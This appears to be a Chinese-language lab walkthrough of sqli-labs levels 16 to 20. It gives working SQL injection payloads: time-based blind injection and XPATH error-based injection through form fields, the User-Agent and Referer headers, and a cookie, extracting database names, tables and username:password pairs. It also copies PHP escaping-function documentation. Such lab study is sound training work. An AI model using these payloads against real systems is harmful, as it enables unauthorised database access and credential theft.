Less16
代码分析

判断数据库长度payload:
admin") and If(length(database())=8,1,sleep(5))#

这一关在参数闭合上与15关有些区别,只需将上一关的’改成")
Less17
代码分析


上述代码执行的sql语句UPDATE users SET password = '$passwd' WHERE username='$row1'; #row1是查询到的username#此关中username变量是查询数据库后再被赋值给变量row1,不能在此进行注入#我们可以使用可控参数passwd进行sql报错注入
1.利用XPATH报错注入查询数据库名和用户名
username: admin
password: admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#数据库名admin' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#用户名


2.查询表名
admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
可以使用Intruder模块

分别是emails,referers,uagents,users
3.查看列名:
admin' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1)#
users表中的列名为id,username,password
4.查询username,password
' and updatexml(0,concat(0x7e, (select a from (select concat(username,':',password) a from users limit 0,1)b)),1)

php过滤函数学习
addslashes(PHP 4, PHP 5, PHP 7)addslashes — 使用反斜线引用字符串
说明 addslashes ( string $str ) : string返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。
stripslashes
(PHP 4, PHP 5, PHP 7)
stripslashes —删除由addslashes()函数添加的反斜杠
说明
stripslashes ( string $str ) : string
Note:
如果 magic_quotes_sybase 项开启,反斜线将被去除,但是两个反斜线将会被替换成一个。
一个使用范例是使用 PHP 检测 magic_quotes_gpc 配置项的 开启情况(在 PHP 5.4之 前默认是开启的)并且你不需要将数据插入到一个需要转义的位置(例如数据库)。例如,你只是简单地将表单数据直接输出
mysql_real_escape_string
(PHP 4 >= 4.3.0, PHP 5)
mysql_real_escape_string — 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集
Warning
本扩展自 PHP 5.5.0 起已废弃,并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL:选择 API 指南以及相关 FAQ 来获取更多信息。用以替代本函数的有:
mysqli_real_escape_string()
PDO::quote()
说明
mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier = NULL ] ) : string
本函数将 unescaped_string 中的特殊字符转义,并计及连接的当前字符集,因此可以安全用于 mysql_query()。
mysql_real_escape_string() 调用mysql库的函数 mysql_real_escape_string, 在以下字符前添加反斜杠: \x00, \n, \r, \, ', " 和 \x1a.为了安全起见,在像MySQL传送查询前,必须调用这个函数(除了少数例外情况)。
HTTP头部注入
Less18
代码分析


使用burp抓包对uagent进行注入
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)第一个'闭合$uagent前面的' paload 最后'1'='1'
然后就是常规的报错注入。
Less19
代码分析

payload
Referer: 'and extractvalue(1,concat(0x7e,(select @@datadir),0x7e)) and '1'='1

Less20
代码分析

burp抓包第一次登录


注入测试
D'and extractvalue(1,concat(0x7e,(select database()),0x7e))#
